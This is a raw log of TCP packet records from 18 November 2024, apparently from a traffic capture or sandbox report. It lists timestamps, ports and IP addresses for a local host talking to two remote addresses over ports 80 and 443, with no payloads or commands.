Nov 18, 2024 20:21:32.439671040 CET	443	49762	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.439764977 CET	49762	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.439766884 CET	49766	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.439805031 CET	443	49766	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.439888954 CET	49766	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.440000057 CET	49766	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.440018892 CET	443	49766	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.440035105 CET	49762	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.440042019 CET	443	49762	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.442468882 CET	49767	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.442508936 CET	443	49767	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.442608118 CET	49767	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.442795038 CET	49767	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.442816019 CET	443	49767	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.445585012 CET	443	49761	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.446005106 CET	49761	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.446028948 CET	443	49761	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.446439981 CET	49761	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.446445942 CET	443	49761	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.465466022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.465488911 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.465502024 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.465668917 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.490041018 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490053892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490065098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490075111 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490087032 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490098953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490128040 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.490151882 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.490480900 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490490913 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490503073 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490525961 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.490537882 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.490547895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490559101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490570068 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490595102 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.490602970 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490612030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490622997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490636110 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.490648031 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.490672112 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.491092920 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.491103888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.491115093 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.491137028 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.491164923 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.491317987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.491363049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.491374016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.491406918 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.491414070 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.491424084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.491435051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.491456032 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.491470098 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.532200098 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.532237053 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.532250881 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.532335997 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.532963037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.532974005 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.532984018 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.533009052 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.533025980 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.585576057 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.585589886 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.585601091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.585613012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.585628986 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.585674047 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.601926088 CET	443	49761	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.601999998 CET	443	49761	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.602195978 CET	49761	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.602236032 CET	49761	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.602248907 CET	443	49761	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.602258921 CET	49761	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.602267027 CET	443	49761	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.605276108 CET	49768	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.605351925 CET	443	49768	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.605453968 CET	49768	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.605627060 CET	49768	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:32.605643988 CET	443	49768	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:32.609966993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.609980106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.609991074 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610032082 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.610116959 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610127926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610137939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610161066 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.610188961 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.610369921 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610379934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610392094 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610403061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610411882 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.610414982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610435963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610440969 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.610476971 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.610528946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610688925 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610698938 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610709906 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610716105 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.610735893 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.610745907 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.610984087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611001015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611013889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611026049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611031055 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.611041069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611051083 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.611078024 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.611417055 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611427069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611439943 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611455917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611462116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.611469030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611502886 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.611717939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611747980 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.611766100 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611776114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.611808062 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.652260065 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.652282953 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.652295113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.652321100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.653167963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.653177977 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.653187037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.653204918 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.653209925 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.653242111 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.705790997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.705802917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.705820084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.705827951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.705838919 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.705853939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.705925941 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.705957890 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.730166912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730226994 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730237961 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730295897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730297089 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.730308056 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730319023 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730356932 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.730364084 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.730477095 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730494022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730505943 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730544090 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.730571032 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730710030 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730722904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730753899 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.730778933 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.730803013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730813980 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730824947 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.730851889 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.730994940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731004000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731039047 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.731091022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731101990 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731111050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731137037 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.731162071 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.731229067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731240988 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731251955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731283903 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.731302977 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731323004 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731364012 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.731646061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731657982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731663942 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731714964 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.731726885 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.731854916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731868029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731879950 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.731904984 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.775118113 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.780488014 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.780504942 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.780518055 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.780565977 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.781507969 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.781522989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.781565905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.826392889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.826415062 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.826427937 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.826438904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.826451063 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.826468945 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.826505899 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.850308895 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850322008 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850332975 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850338936 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850346088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850408077 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.850557089 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850568056 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850579977 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850625992 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.850812912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850825071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850837946 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850886106 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850888968 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.850888968 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.850898027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.850938082 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.851109982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851120949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851131916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851161957 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.851186991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851198912 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851212025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851238966 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.851274967 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.851317883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851327896 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851340055 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851402044 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.851804972 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851816893 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851826906 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851840019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851861954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851874113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.851876974 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.851876974 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.851898909 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.893292904 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.893322945 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.893347025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.893378019 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.893404961 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.900182009 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.900194883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.900207043 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.900249958 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.946645021 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.946666002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.946677923 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.946688890 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.946701050 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.946718931 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.946752071 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.970396042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970411062 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970431089 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970442057 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970454931 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.970455885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970469952 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970503092 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.970508099 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970513105 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.970684052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970695019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970705986 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.970726967 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.970752001 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.970982075 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971081972 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971122026 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.971208096 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971220016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971230984 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971251011 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.971286058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971296072 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971307993 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971328020 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971328974 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.971354961 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.971359015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971369982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971381903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971396923 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.971429110 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.971438885 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971946955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971963882 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971975088 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971987963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.971999884 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.972006083 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.972033024 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.972050905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:32.972233057 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.972244024 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.972250938 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:32.972290039 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.013436079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.013448954 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.013472080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.013485909 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.013597012 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.020020962 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.020032883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.020047903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.020064116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.066801071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.066828012 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.066842079 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.066854000 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.066857100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.066868067 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.066890001 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.066905022 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.076472044 CET	443	49764	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.076961040 CET	49764	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.076992989 CET	443	49764	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.077421904 CET	49764	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.077430964 CET	443	49764	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.093745947 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093760967 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093774080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093794107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093803883 CET	49748	80	192.168.2.5	185.215.113.16
